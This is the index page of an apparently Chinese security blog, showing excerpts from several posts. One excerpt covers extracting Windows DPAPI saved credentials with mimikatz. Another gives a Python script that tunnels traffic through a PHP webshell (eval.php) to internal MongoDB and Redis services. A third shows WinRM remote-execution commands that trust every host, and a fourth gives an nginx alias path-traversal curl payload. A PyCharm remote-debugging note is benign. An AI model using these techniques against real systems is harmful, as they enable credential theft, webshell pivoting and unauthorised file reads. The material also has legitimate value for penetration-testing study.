wubba lubba dub dub.

背景介绍

DPAPI(Date Protection Application Programming Interface),从windows2000之后,微软提供的一个特殊数据保护接口,使用了对称的加解密函数对密码加密。包括:

  • IE、Chrome密码登陆表单的自动完成
  • 邮箱客户端用户密码
  • FTP管理账户密码
  • 远程桌面身份密码
  • ……

查找本地的Credentials:
通常的保存位置:

  • %appdata%\Microsoft\Credentials
  • %localappdata%\Microsoft\Credentials
  • %userprofile%\AppData\Local\Microsoft\Credentials\*

因为文件被隐藏,命令行下需要查看需要加上/a可以看到:

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

获取GUID

# 打印结构体信息
mimikatz dpapi::cred /in:"%localappdata%\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D"
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {xf9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {x0ad1823-abf0-4be4-b696-eb4bbddca052}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000012 - 18
  szDescription      : 本地凭据数据

  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : 00bcc91d576813f05e286f96b9ae3f97aef0922bb7c97b9c93b978d75027a8dc
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         : 
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : 109ef886e7807e15e7918ec1773e768b50900664d88739e42a80592a1af52d51
  dwDataLen          : 00002a70 - 10864
  pbData             : xxxxxxz
  dwSignLen          : 00000040 - 64
  pbSign             : xxxxx
Read More
post @ 2019-12-13

调试的流水账:

原理就是pycharm作为server,远程要debug的是client。在client要安装pycharm-debug.egg,安装之后

python -m easy_install pycharm-debug.egg
import pydevd

没毛病就表示安装成功。

这个pycharm的包一般在这个目录:

/Applications/PyCharm.app/Contents/debug-eggs

然后配置pycharm:

在Preferences -> project 会有当前项目,可以先设置 project Interpreter,但是如果单单为了调试,这个不用设置就可以。为了测试方便可以添加一个sftp同步:

Flie->Setting->Build,Exception,Deployment->Deployment

添加和Docker相关的端口和IP,举例来说把Docker的22端口映射到本机的20022。设置完了之后,可以在这里同步代码:

Tools->Deployment->Sync with deploymed to sftp

经过上面的步骤现在有了一个sftp来同步本地的代码和远程的代码,然后设置使用pydevd来远程调试。

Read More
post @ 2019-10-23

背景: linux,php环境下的reGeorg不可用。
目标: 分析reGeorg的原理尝试改一下
结果: 造了一个半成品,因为不能保持socks连通,可以用来访问简单的协议流数据。比如http,mongo,redis

Protocols that are suitable to smuggle
  HTTP based protocol:
    Elastic, CouchDB, Mongodb, Docker

  Text-based protocol:
    FTP, SMTP, Redis, Memcached

尝试1

这个脚本是个残的:

#coding: utf-8
import socket
import binascii
import requests


headers = {
"Host": "",
"Accept-Encoding": "gzip, deflate",
"User-Agent": "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2)",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "close"
}

url = "http://127.0.0.1/eval.php"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("127.0.0.1",8889))
s.listen(5)
sock, addr_info = s.accept()

while True:
    print 'Connect by ', addr_info
    data = sock.recv(102400)
    payload = 'pass=%24res%20%3D%20fsockopen(%22127.0.0.1%22%2C27017)%3B%0A%24raw%20%3D%20hex2bin(%22' + hex2bin(data) + "%22)%3B%0Astream_set_timeout(%24res%2C5)%3B%0Astream_set_blocking(false)%3B%0Afwrite(%24res%2C%24raw)%3B%0A%24info%20%3D%20stream_get_meta_data(%24res)%3B%0Aecho%20%24info%5B'timed_out'%5D%3B%0Awhile%20(%24o%20%3Dfgets(%24res%2C5))%7B%0A%20%20%20%20%20%20%20%20if(%24o%20%3D%3D%3D%20false)%7Becho%20'false%20lala'%3B%7D%0A%24readBuff%20.%3D%20%24o%3B%0A%7D%0Aecho%20%24readBuff%3B%0Afclose(%24res)%3B"
    print payload
    data2 = requests.post(url=url,headers=headers,data=payload,proxies={"http":"http://127.0.0.1:8080"},timeout=30).content
    print data2
    print "sending data"
    sock.send(data2)

hex2bin is available with PHP Version >= 5.4.0

绑定本机的8889端口,然后mongo直接连,mongo --port 8889,如果想观察之间的流量可以这样做:

python mongo_proxy  //监听8889
socat -x -d -v tcp-listen:8888,reuseaddr,fork tcp:127.0.0.1:8889 //流量肉眼可以看
mongo --port 8888  //连接8888

发散一下,这个整体就是一个请求代理,包裹一下发送到了远程的webshell,然后webshell之行脚本。Regeorg是更通用的方式,你可以把这个脚本看作regeorg作用的子集,因为如果要访问端口之类的就需要改脚本了。

看了看Regeorg的实现,就是接受socks5或者socks4的代理之后,发送数据包到远程服务器,过程大概是这样子的:

Read More
post @ 2019-10-23

原理

基本原理是利用windows的远程管理服务WinRM,在Windows 2003 Server加入了内核级驱动程序(http.sys),用于监听http流量并根据URL进行处理,允许任意用户进程共享用于HTTP流量的TCP端口。通过http.sys,多个进程可以同时监听同一端口的HTTP流量

系统默认有10个DACl,可以通过netsh http show urlacl看到具体内容,其中5985是http端口,5986是https,在我的Windows Server 2012上面默认没有开启,只开启了一个5985端口。

利用条件

Windows 2008默认不开启该服务,windows 2012以及以上默认开启该服务。

开启服务

本地机器需要连接远程WinRM服务的时候,本地也需要开启WinRM服务,然后设置信任连接的主机,执行命令:

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

连接(默认端口是5985,需要加上去):

winrs -r:http://<ip>:<port> -u:<user> -p:<pass> <command> 
Read More
post @ 2019-09-17

nginx在使用proxy_pass的时候,需要处理静态文件有时候会这样做:

location /static {
               alias /home/uploads/static/;
       }

payload:

curl vuln.com/static../requirements.pip

上面如果是两个路径最后都没有带/或者都带/则该漏洞不存在。

代理末尾添加/之后,nginx会先对uri进行normalized处理,使用../读取文件会失败,当没有添加/的时候,nginx会把原请求直接转发给后端服务器,所以可以读取成功。

Read More
⬆︎TOP